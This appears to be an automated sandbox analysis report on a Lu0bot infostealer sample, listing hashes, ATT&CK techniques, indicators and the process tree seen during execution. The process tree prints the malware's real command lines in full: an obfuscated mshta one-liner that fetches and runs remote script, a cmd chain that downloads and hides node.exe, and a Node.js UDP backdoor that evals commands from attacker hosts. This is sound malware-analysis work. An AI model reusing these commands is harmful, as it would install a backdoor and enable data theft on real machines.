lu0bot | 28918d35a5f4103695d04817fd2ac7de977d316a0cc94dad3b3f124f030686bc

Analysis

max time kernel
147s
max time network
146s
platform
windows10_x64
resource
win10v20210410
submitted
29-06-2021 10:01

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General

Target

usfive_20210629.exe
Size

2KB
MD5

09353c5898ccf513210a58fb9bb369e7
SHA1

bb664adcc58466a0b158651a9e4216dbfd08607b
SHA256

28918d35a5f4103695d04817fd2ac7de977d316a0cc94dad3b3f124f030686bc
SHA512

0cd0a4f8b38b92d9bf46f2e068ce99917a7835b8bcb4a9ec4b0d3e7d570f34f48252e4e82df5f1fffc075aa82ae9c3eaab0e4e943de56f5003c97efd78c44e15

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2900	mshta.exe
8	2672	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3396	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2484	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1424	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
2576	ipconfig.exe
2140	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2332	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\5d6104b85d7eafc2:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:6ee9a74b42aea4233fb19687e510c298	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3396	node.exe
3396	node.exe
3396	node.exe
3396	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1424	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1328	wmic.exe
Token: SeSecurityPrivilege	1328	wmic.exe
Token: SeTakeOwnershipPrivilege	1328	wmic.exe
Token: SeLoadDriverPrivilege	1328	wmic.exe
Token: SeSystemProfilePrivilege	1328	wmic.exe
Token: SeSystemtimePrivilege	1328	wmic.exe
Token: SeProfSingleProcessPrivilege	1328	wmic.exe
Token: SeIncBasePriorityPrivilege	1328	wmic.exe
Token: SeCreatePagefilePrivilege	1328	wmic.exe
Token: SeBackupPrivilege	1328	wmic.exe
Token: SeRestorePrivilege	1328	wmic.exe
Token: SeShutdownPrivilege	1328	wmic.exe
Token: SeDebugPrivilege	1328	wmic.exe
Token: SeSystemEnvironmentPrivilege	1328	wmic.exe
Token: SeRemoteShutdownPrivilege	1328	wmic.exe
Token: SeUndockPrivilege	1328	wmic.exe
Token: SeManageVolumePrivilege	1328	wmic.exe
Token: 33	1328	wmic.exe
Token: 34	1328	wmic.exe
Token: 35	1328	wmic.exe
Token: 36	1328	wmic.exe
Token: SeIncreaseQuotaPrivilege	1328	wmic.exe
Token: SeSecurityPrivilege	1328	wmic.exe
Token: SeTakeOwnershipPrivilege	1328	wmic.exe
Token: SeLoadDriverPrivilege	1328	wmic.exe
Token: SeSystemProfilePrivilege	1328	wmic.exe
Token: SeSystemtimePrivilege	1328	wmic.exe
Token: SeProfSingleProcessPrivilege	1328	wmic.exe
Token: SeIncBasePriorityPrivilege	1328	wmic.exe
Token: SeCreatePagefilePrivilege	1328	wmic.exe
Token: SeBackupPrivilege	1328	wmic.exe
Token: SeRestorePrivilege	1328	wmic.exe
Token: SeShutdownPrivilege	1328	wmic.exe
Token: SeDebugPrivilege	1328	wmic.exe
Token: SeSystemEnvironmentPrivilege	1328	wmic.exe
Token: SeRemoteShutdownPrivilege	1328	wmic.exe
Token: SeUndockPrivilege	1328	wmic.exe
Token: SeManageVolumePrivilege	1328	wmic.exe
Token: 33	1328	wmic.exe
Token: 34	1328	wmic.exe
Token: 35	1328	wmic.exe
Token: 36	1328	wmic.exe
Token: SeDebugPrivilege	2140	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 2900	3956	usfive_20210629.exe	74
PID 3956 wrote to memory of 2900	3956	usfive_20210629.exe	74
PID 3956 wrote to memory of 2900	3956	usfive_20210629.exe	74
PID 2900 wrote to memory of 2216	2900	mshta.exe	77
PID 2900 wrote to memory of 2216	2900	mshta.exe	77
PID 2900 wrote to memory of 2216	2900	mshta.exe	77
PID 2216 wrote to memory of 2672	2216	cmd.exe	79
PID 2216 wrote to memory of 2672	2216	cmd.exe	79
PID 2216 wrote to memory of 2672	2216	cmd.exe	79
PID 2216 wrote to memory of 3772	2216	cmd.exe	80
PID 2216 wrote to memory of 3772	2216	cmd.exe	80
PID 2216 wrote to memory of 3772	2216	cmd.exe	80
PID 2216 wrote to memory of 3672	2216	cmd.exe	81
PID 2216 wrote to memory of 3672	2216	cmd.exe	81
PID 2216 wrote to memory of 3672	2216	cmd.exe	81
PID 3672 wrote to memory of 3396	3672	cscript.exe	82
PID 3672 wrote to memory of 3396	3672	cscript.exe	82
PID 3672 wrote to memory of 3396	3672	cscript.exe	82
PID 3396 wrote to memory of 2212	3396	node.exe	86
PID 3396 wrote to memory of 2212	3396	node.exe	86
PID 3396 wrote to memory of 2212	3396	node.exe	86
PID 3396 wrote to memory of 680	3396	node.exe	87
PID 3396 wrote to memory of 680	3396	node.exe	87
PID 3396 wrote to memory of 680	3396	node.exe	87
PID 3396 wrote to memory of 2484	3396	node.exe	88
PID 3396 wrote to memory of 2484	3396	node.exe	88
PID 3396 wrote to memory of 2484	3396	node.exe	88
PID 3396 wrote to memory of 612	3396	node.exe	89
PID 3396 wrote to memory of 612	3396	node.exe	89
PID 3396 wrote to memory of 612	3396	node.exe	89
PID 3396 wrote to memory of 2744	3396	node.exe	90
PID 3396 wrote to memory of 2744	3396	node.exe	90
PID 3396 wrote to memory of 2744	3396	node.exe	90
PID 3396 wrote to memory of 1424	3396	node.exe	92
PID 3396 wrote to memory of 1424	3396	node.exe	92
PID 3396 wrote to memory of 1424	3396	node.exe	92
PID 3396 wrote to memory of 1328	3396	node.exe	93
PID 3396 wrote to memory of 1328	3396	node.exe	93
PID 3396 wrote to memory of 1328	3396	node.exe	93
PID 3396 wrote to memory of 2576	3396	node.exe	94
PID 3396 wrote to memory of 2576	3396	node.exe	94
PID 3396 wrote to memory of 2576	3396	node.exe	94
PID 3396 wrote to memory of 3372	3396	node.exe	95
PID 3396 wrote to memory of 3372	3396	node.exe	95
PID 3396 wrote to memory of 3372	3396	node.exe	95
PID 3396 wrote to memory of 2140	3396	node.exe	96
PID 3396 wrote to memory of 2140	3396	node.exe	96
PID 3396 wrote to memory of 2140	3396	node.exe	96
PID 3396 wrote to memory of 2332	3396	node.exe	97
PID 3396 wrote to memory of 2332	3396	node.exe	97
PID 3396 wrote to memory of 2332	3396	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
612	attrib.exe
2744	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210629.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210629.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();249;y=unescape('%340%7Eh%74t%70%3A%2F%2F%6Cu%31%2E%61s%69a%2Fh%72i%2F%3F%321%616%654%62%7E%322%35').split('~');230;try{x='WinHttp';9;x=new ActiveXObject(x+'.'+x+'Request.5.1');231;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);65;x.send();195;y='ipt.S';106;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);152;}catch(e){};214;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624960881303.txt & cscript /nologo /e:jscript get1624960881303.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23c306a35%26b%3D3d2aef90" node.cab & expand node.cab node.exe & del get1624960881303.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624960881303.txt & cscript /nologo /e:jscript get1624960881303.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273c306a35%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624960881303.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624960881303.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23c306a35%26b%3D3d2aef90" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2672
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3772
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624960881303.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273c306a35%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3672
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273c306a35%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3396
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2212
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:680
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:2484
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:612
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2744
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1424
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1328
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:2576
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:3372
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3396-129-0x000000001EF00000-0x000000001EF01000-memory.dmp

Filesize
4KB

Download
memory/3396-130-0x000000002FC00000-0x000000002FC01000-memory.dmp

Filesize
4KB

Download
memory/3396-127-0x000000003DE00000-0x000000003DE01000-memory.dmp

Filesize
4KB

Download
memory/3396-128-0x0000000037900000-0x0000000037901000-memory.dmp

Filesize
4KB

Download
memory/3396-126-0x000000000F200000-0x000000000F201000-memory.dmp

Filesize
4KB

Download
memory/3396-125-0x0000000015200000-0x0000000015201000-memory.dmp

Filesize
4KB

Download